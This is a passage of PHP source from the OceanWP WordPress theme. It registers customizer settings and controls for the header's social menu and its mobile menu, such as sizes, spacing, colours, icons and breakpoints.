'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_mobile_font_size', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_menu_social_font_size', array( 'label' => esc_html__( 'Font Size (px)', 'oceanwp' ), 'section' => 'ocean_header_menu_social', 'settings' => array( 'desktop' => 'ocean_menu_social_font_size', 'tablet' => 'ocean_menu_social_tablet_font_size', 'mobile' => 'ocean_menu_social_mobile_font_size', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social', 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Social Menu Padding */ $wp_customize->add_setting( 'ocean_menu_social_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_menu_social_padding', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_header_menu_social', 'settings' => array( 'desktop_top' => 'ocean_menu_social_top_padding', 'desktop_right' => 'ocean_menu_social_right_padding', 'desktop_bottom' => 'ocean_menu_social_bottom_padding', 'desktop_left' => 'ocean_menu_social_left_padding', 'tablet_top' => 'ocean_menu_social_tablet_top_padding', 'tablet_right' => 'ocean_menu_social_tablet_right_padding', 'tablet_bottom' => 'ocean_menu_social_tablet_bottom_padding', 'tablet_left' => 'ocean_menu_social_tablet_left_padding', 'mobile_top' => 'ocean_menu_social_mobile_top_padding', 'mobile_right' => 'ocean_menu_social_mobile_right_padding', 'mobile_bottom' => 'ocean_menu_social_mobile_bottom_padding', 'mobile_left' => 'ocean_menu_social_mobile_left_padding', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social_and_simple_style', 'input_attrs' => array( 'min' => 0, 'max' => 60, 'step' => 1, ), ) ) ); /** * Social Menu Margin */ $wp_customize->add_setting( 'ocean_menu_social_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_tablet_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_tablet_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_mobile_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_menu_social_mobile_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_menu_social_margin', array( 'label' => esc_html__( 'Margin (px)', 'oceanwp' ), 'section' => 'ocean_header_menu_social', 'settings' => array( 'desktop_right' => 'ocean_menu_social_right_margin', 'desktop_left' => 'ocean_menu_social_left_margin', 'tablet_right' => 'ocean_menu_social_tablet_right_margin', 'tablet_left' => 'ocean_menu_social_tablet_left_margin', 'mobile_right' => 'ocean_menu_social_mobile_right_margin', 'mobile_left' => 'ocean_menu_social_mobile_left_margin', ), 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social', 'input_attrs' => array( 'min' => 0, 'max' => 60, 'step' => 1, ), ) ) ); /** * Social Menu Border Radius */ $wp_customize->add_setting( 'ocean_menu_social_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_social_border_radius', array( 'label' => esc_html__( 'Border Radius', 'oceanwp' ), 'description' => esc_html__( 'Add a custom border radius. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_header_menu_social', 'settings' => 'ocean_menu_social_border_radius', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social', ) ) ); /** * Social Menu Link Background Color */ $wp_customize->add_setting( 'ocean_menu_social_links_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_social_links_bg', array( 'label' => esc_html__( 'Social: Background Color', 'oceanwp' ), 'section' => 'ocean_header_menu_social', 'settings' => 'ocean_menu_social_links_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social_and_simple_style', ) ) ); /** * Social Menu Link Hover Background Color */ $wp_customize->add_setting( 'ocean_menu_social_hover_links_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_social_hover_links_bg', array( 'label' => esc_html__( 'Social Hover: Background Color', 'oceanwp' ), 'section' => 'ocean_header_menu_social', 'settings' => 'ocean_menu_social_hover_links_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social_and_simple_style', ) ) ); /** * Social Menu Link Color */ $wp_customize->add_setting( 'ocean_menu_social_links_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_social_links_color', array( 'label' => esc_html__( 'Social: Color', 'oceanwp' ), 'section' => 'ocean_header_menu_social', 'settings' => 'ocean_menu_social_links_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social_and_simple_style', ) ) ); /** * Social Menu Link Hover Color */ $wp_customize->add_setting( 'ocean_menu_social_hover_links_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_menu_social_hover_links_color', array( 'label' => esc_html__( 'Social Hover: Color', 'oceanwp' ), 'section' => 'ocean_header_menu_social', 'settings' => 'ocean_menu_social_hover_links_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social_and_simple_style', ) ) ); /** * Social Menu Settings */ $social_options = oceanwp_social_options(); foreach ( $social_options as $key => $val ) { if ( 'skype' == $key ) { $sanitize = 'wp_filter_nohtml_kses'; } else if ( 'email' == $key ) { $sanitize = 'sanitize_email'; } else { $sanitize = 'esc_url_raw'; } $wp_customize->add_setting( 'ocean_menu_social_profiles[' . $key .']', array( 'sanitize_callback' => $sanitize, ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_menu_social_profiles[' . $key .']', array( 'label' => esc_html( $val['label'] ), 'type' => 'text', 'section' => 'ocean_header_menu_social', 'settings' => 'ocean_menu_social_profiles[' . $key .']', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_menu_social', ) ) ); } /** * Section */ $wp_customize->add_section( 'ocean_header_mobile_menu' , array( 'title' => esc_html__( 'Mobile Menu', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Breakpoints */ $wp_customize->add_setting( 'ocean_mobile_menu_breakpoints', array( 'default' => '959', 'sanitize_callback' => 'sanitize_key', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_breakpoints', array( 'label' => esc_html__( 'Breakpoints', 'oceanwp' ), 'description' => esc_html__( 'Choose the media query where you want to display the mobile menu.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_breakpoints', 'priority' => 10, 'choices' => array( '1280' => esc_html__( 'From 1280px', 'oceanwp' ), '1080' => esc_html__( 'From 1080px', 'oceanwp' ), '959' => esc_html__( 'From 959px', 'oceanwp' ), '767' => esc_html__( 'From 767px', 'oceanwp' ), '480' => esc_html__( 'From 480px', 'oceanwp' ), '320' => esc_html__( 'From 320px', 'oceanwp' ), 'custom' => esc_html__( 'Custom media query', 'oceanwp' ), ), ) ) ); /** * Custom Media Query */ $wp_customize->add_setting( 'ocean_mobile_menu_custom_breakpoint', array( 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_custom_breakpoint', array( 'label' => esc_html__( 'Custom Media Query', 'oceanwp' ), 'description' => esc_html__( 'Enter your custom media query where you want to display the mobile menu.', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_custom_breakpoint', 'priority' => 10, 'active_callback' => 'oceanwp_mobile_menu_cac_has_custom_breakpoint', 'input_attrs' => array( 'min' => 0, 'step' => 1, ), ) ) ); /** * Mobile Header Height */ $wp_customize->add_setting( 'ocean_mobile_header_height', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_header_height', array( 'label' => esc_html__( 'Height (px)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_header_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_hasnt_header_styles', ) ) ); /** * Responsive Logo */ $wp_customize->add_setting( 'ocean_responsive_logo', array( 'default' => '', 'sanitize_callback' => 'oceanwp_sanitize_image', ) ); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'ocean_responsive_logo', array( 'label' => esc_html__( 'Logo (optional)', 'oceanwp' ), 'description' => esc_html__( 'Select a custom responsive logo for tablet and mobile.', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_responsive_logo', 'priority' => 10, ) ) ); /** * Responsive Logo Height */ $wp_customize->add_setting( 'ocean_responsive_logo_height', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_responsive_logo_height', array( 'label' => esc_html__( 'Logo Max Height (px)', 'oceanwp' ), 'description' => esc_html__( 'Enter a max height for your responsive logo.', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_responsive_logo_height', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_responsive_logo', 'input_attrs' => array( 'min' => 0, ), ) ) ); /** * Elements Positioning */ $wp_customize->add_setting( 'ocean_mobile_elements_positioning', array( 'default' => 'one', 'sanitize_callback' => 'sanitize_key', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_elements_positioning', array( 'label' => esc_html__( 'Elements Positioning', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_elements_positioning', 'priority' => 10, 'choices' => array( 'one' => esc_html__( 'Logo / Cart / Link', 'oceanwp' ), 'two' => esc_html__( 'Cart / Logo / Link', 'oceanwp' ), 'three' => esc_html__( 'Link / Logo / Cart', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_mobile_header_position', ) ) ); /** * Mobile Menu General Settings Heading */ $wp_customize->add_setting( 'ocean_mobile_menu_general_settings_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_mobile_menu_general_settings_heading', array( 'label' => esc_html__( 'General Settings', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'priority' => 10, ) ) ); /** * Mobile Menu Style */ $wp_customize->add_setting( 'ocean_mobile_menu_style', array( 'default' => 'dropdown', 'sanitize_callback' => 'sanitize_key', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_style', array( 'label' => esc_html__( 'Mobile Menu Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_style', 'priority' => 10, 'choices' => array( 'sidebar' => esc_html__( 'Sidebar', 'oceanwp' ), 'dropdown' => esc_html__( 'Drop Down', 'oceanwp' ), 'fullscreen' => esc_html__( 'Full Screen', 'oceanwp' ), ), ) ) ); /** * Display Menu Text */ $wp_customize->add_setting( 'ocean_mobile_menu_display_opening_text', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_display_opening_text', array( 'label' => esc_html__( 'Display Menu Text', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_display_opening_text', 'priority' => 10, ) ) ); /** * Menu Text */ $wp_customize->add_setting( 'ocean_mobile_menu_text', array( 'default' => esc_html__( 'Menu', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_text', array( 'label' => esc_html__( 'Menu Text', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_text', 'priority' => 10, ) ) ); /** * Close Menu Text */ $wp_customize->add_setting( 'ocean_mobile_menu_close_text', array( 'default' => esc_html__( 'Close', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_close_text', array( 'label' => esc_html__( 'Close Menu Text', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_close_text', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_dropdown_mobile_menu', ) ) ); /** * Hamburger Icon Class */ $wp_customize->add_setting( 'ocean_mobile_menu_open_icon', array( 'default' => 'fa fa-bars', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_open_icon', array( 'label' => esc_html__( 'Hamburger Icon Class', 'oceanwp' ), 'description' => esc_html__( 'Enter the full icon class', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_open_icon', 'priority' => 10, ) ) ); /** * Custom Hamburger Button */ $wp_customize->add_setting( 'ocean_mobile_menu_open_hamburger', array( 'default' => 'default', 'sanitize_callback' => 'sanitize_key', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_open_hamburger', array( 'label' => esc_html__( 'Custom Hamburger Button', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_open_hamburger', 'priority' => 10, 'choices' => oceanwp_hamburgers_styles(), ) ) ); /** * Custom Hamburger Button Color */ $wp_customize->add_setting( 'ocean_mobile_menu_open_hamburger_color', array( 'default' => '#000000', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_open_hamburger_color', array( 'label' => esc_html__( 'Custom Hamburger Button: Color', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_open_hamburger_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_custom_hamburger_btn', ) ) ); /** * Mobile Menu Panel */ $wp_customize->add_setting( 'ocean_mobile_menu_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_mobile_menu_heading', array( 'label' => esc_html__( 'Mobile Menu', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'priority' => 10, ) ) ); /** * Mobile Menu Direction */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_direction', array( 'default' => 'left', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_mobile_menu_sidr_direction', array( 'label' => esc_html__( 'Direction', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_direction', 'priority' => 10, 'choices' => array( 'left' => esc_html__( 'Left', 'oceanwp' ), 'right' => esc_html__( 'Right', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_sidebar_mobile_menu', ) ) ); /** * Drop Down Mobile Menu Max Height */ $wp_customize->add_setting( 'ocean_dropdown_mobile_menu_max_height', array( 'transport' => 'postMessage', 'default' => '400', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_dropdown_mobile_menu_max_height', array( 'label' => esc_html__( 'Drop Down Max Height (px)', 'oceanwp' ), 'description' => esc_html__( 'Add the height from which you want to display the scrollbar in the drop down', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_dropdown_mobile_menu_max_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 1000, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_dropdown_mobile_menu', ) ) ); /** * Mobile Menu Displace */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_displace', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_sidr_displace', array( 'label' => esc_html__( 'Displace', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_displace', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_sidebar_mobile_menu', ) ) ); /** * Close Menu Button */ $wp_customize->add_setting( 'ocean_mobile_menu_close_btn', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_close_btn', array( 'label' => esc_html__( 'Close Menu Button', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_close_btn', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_sidebar_mobile_menu', ) ) ); /** * Close Menu Button Icon Class */ $wp_customize->add_setting( 'ocean_mobile_menu_close_btn_icon', array( 'default' => 'fas fa-times', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_close_btn_icon', array( 'label' => esc_html__( 'Close Menu Button Icon Class', 'oceanwp' ), 'description' => esc_html__( 'Enter the full icon class', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_close_btn_icon', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_sidebar_mobile_menu', ) ) ); /** * Close Menu Button Text */ $wp_customize->add_setting( 'ocean_mobile_menu_close_btn_text', array( 'default' => esc_html__( 'Close Menu', 'oceanwp' ), 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_close_btn_text', array( 'label' => esc_html__( 'Close Menu Button Text', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_close_btn_text', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_sidebar_mobile_menu', ) ) ); /** * Mobile Menu Dropdown Target */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_dropdown_target', array( 'default' => 'link', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_mobile_menu_sidr_dropdown_target', array( 'label' => esc_html__( 'Dropdown Target', 'oceanwp' ), 'description' => esc_html__( 'Choose your opening target for your submenus', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_dropdown_target', 'priority' => 10, 'choices' => array( 'icon' => esc_html__( 'Icon', 'oceanwp' ), 'link' => esc_html__( 'Link', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_hasnt_fullscreen_mobile_menu', ) ) ); /** * Mobile Menu Search */ $wp_customize->add_setting( 'ocean_mobile_menu_search', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_search', array( 'label' => esc_html__( 'Mobile Menu Search', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_search', 'priority' => 10, ) ) ); /** * Mobile Menu Search Icon */ $wp_customize->add_setting( 'ocean_mobile_menu_search_icon', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_mobile_menu_search_icon', array( 'label' => esc_html__( 'Mobile Header Search Icon', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'priority' => 10, ) ) ); /** * Search Icon Style */ $wp_customize->add_setting( 'ocean_mobile_menu_search_style', array( 'default' => 'disabled', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_mobile_menu_search_style', array( 'label' => esc_html__( 'Search Icon Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_search_style', 'priority' => 10, 'choices' => array( 'disabled' => esc_html__( 'Disabled','oceanwp' ), 'drop_down' => esc_html__( 'Drop Down','oceanwp' ), 'overlay' => esc_html__( 'Overlay','oceanwp' ), ), ) ) ); /** * Mobile Menu Styling */ $wp_customize->add_setting( 'ocean_mobile_menu_styling_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_mobile_menu_styling_heading', array( 'label' => esc_html__( 'Styling: Mobile Menu', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'priority' => 10, ) ) ); /** * Mobile Menu Close Button Background */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_close_button_background', array( 'transport' => 'postMessage', 'default' => '#f8f8f8', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_sidr_close_button_background', array( 'label' => esc_html__( 'Close Button Background', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_close_button_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_sidebar_mobile_menu', ) ) ); /** * Mobile Menu Background */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_background', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_sidr_background', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_fullscreen_mobile_menu', ) ) ); /** * Full Screen Mobile Menu Background */ $wp_customize->add_setting( 'ocean_full_screen_mobile_menu_bg', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.9)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_mobile_menu_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_full_screen_mobile_menu_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_fullscreen_mobile_menu', ) ) ); /** * Mobile Menu Background */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_borders', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.035)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_sidr_borders', array( 'label' => esc_html__( 'Borders Color', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_borders', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_fullscreen_mobile_menu', ) ) ); /** * Mobile Menu Links Color */ $wp_customize->add_setting( 'ocean_mobile_menu_links', array( 'transport' => 'postMessage', 'default' => '#555555', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_links', array( 'label' => esc_html__( 'Links Color', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_links', 'priority' => 10, ) ) ); /** * Mobile Menu Links Hover Color */ $wp_customize->add_setting( 'ocean_mobile_menu_links_hover', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_links_hover', array( 'label' => esc_html__( 'Links Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_links_hover', 'priority' => 10, ) ) ); /** * Mobile Menu Links Background Color */ $wp_customize->add_setting( 'ocean_full_screen_mobile_menu_links_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_mobile_menu_links_bg', array( 'label' => esc_html__( 'Links Background Color', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_full_screen_mobile_menu_links_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_fullscreen_mobile_menu', ) ) ); /** * Mobile Menu Links Hover Background Color */ $wp_customize->add_setting( 'ocean_full_screen_mobile_menu_links_hover_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_mobile_menu_links_hover_bg', array( 'label' => esc_html__( 'Links Background Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_full_screen_mobile_menu_links_hover_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_fullscreen_mobile_menu', ) ) ); /** * Mobile Menu Background Color */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_dropdowns_background', array( 'transport' => 'postMessage', 'default' => 'rgba(0,0,0,0.02)', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_sidr_dropdowns_background', array( 'label' => esc_html__( 'Dropdowns Menus: Background', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_dropdowns_background', 'priority' => 10, ) ) ); /** * Mobile Menu Searchbar Background */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_search_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_sidr_search_bg', array( 'label' => esc_html__( 'Searchbar Background', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_search_bg', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_fullscreen_mobile_menu', ) ) ); /** * Mobile Menu Searchbar Color */ $wp_customize->add_setting( 